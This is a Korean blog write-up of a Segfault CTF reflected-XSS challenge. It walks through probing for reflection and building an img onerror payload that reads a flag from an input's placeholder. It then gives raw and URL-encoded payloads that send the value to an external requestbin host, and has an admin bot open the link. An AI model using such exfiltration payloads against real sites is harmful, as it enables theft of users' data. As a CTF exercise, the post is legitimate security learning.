Segfault CTF Basic Script Prac

 

 

 

Mypage에서 XSS가 일어난다!

문제를 풀기 위해 나의 마이페이지에 접속해 보았다.

관리자 마이페이지에 접속해 Flag here..! 을 출력하면 되는 거 같다.

자바스크립트 태그들이 동작하는지 알기 위해 <‘”> 먼저 요청해 보았다.

태그들이 응답으로 오는 것을 알 수 있다 reflected xss 방식인 거 같다.

그럼 Flag here..!를 콘솔에 찍어보자

찍히는 걸 볼 수 있다.

밑의 요소의 Flag Here..!를 콘솔에 찍기 위해서

<input name="info" type="text" placeholder="Flag Here..!">
document.getElementsByName('info')[0].placeholder

자바스크립트 안에서 html 을 불러오기 위해 document를 썼고 input 요소를 가져오기 위해 getElementsbyName

그리고 getElementsbyName 쓰면 여러 개가 나오거나 찾지 못하기 때문에 [0]을 넣으면 인풋 태그가 나온다

Flag Here를 정확히 지정해 주기 위해 placeholder를 붙였다.

그다음으로 해야 될 건 Flag here..!를 콘솔에 출력했으니 나의 마이페이지 링크를 누르면 Flag here가 출력되게 해보자

주소에 이미지 태그의 onerror를 이용해 url을 보내보았다.

user=bnm">
<img src="x" onerror="var secretData=document.getElementsByName('info')[0].placeholder;
console.log(secretData);">

이미지 태그의 에러를 유발해 자바스크립트를 실행시키는 방식이다.

링크를 클릭하면 플래그가 콘솔에 찍히는 것을 볼 수 있다.

 

<script> 태그와 <input autofocus> 태그로도 보낼 수 있다고 한다.

스크립트 태그 사용 시 주의사항은 html이 다 로드되고 나서 스크립트가 마지막에 실행되기 때문에 다 로드되고 나서 실행할 수 있게 해야 한다고 한다.

 

그다음으로 해야 할 건 내 서버로 플래그를 보낸 다음 관리자가 클릭하게 만들어야겠다.

user=bnm">
<img src="x" onerror="var secretData=document.getElementsByName('info')[0].placeholder;
var i = new Image(); 
i.src ="https://enxzjclfzat9.x.pipedream.net" + secretData;">

위의 코드가 기호가 많고 공백도 있고 인코딩 해서 보내면 된다는 거는 알겠는데 인코딩 어렵다. 하다 보니 얻어걸렸다.

user=bnm%22%3E%
3Cimg%20src=x%20onerror=%22var%20secretData=document.getElementsByName(%27info%27)[0].placeholder;
var%20i=new%20Image();
i.src=%27https://enxzjclfzat9.x.pipedream.net/%27%2bsecretData;%22%3E

이렇게 보내니 requestbin에서 플래그가 떴다

이것을 관리자 봇을 이용해 링크를 열어보면

플래그를 확인할 수 있다.

 

 

 

 

 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다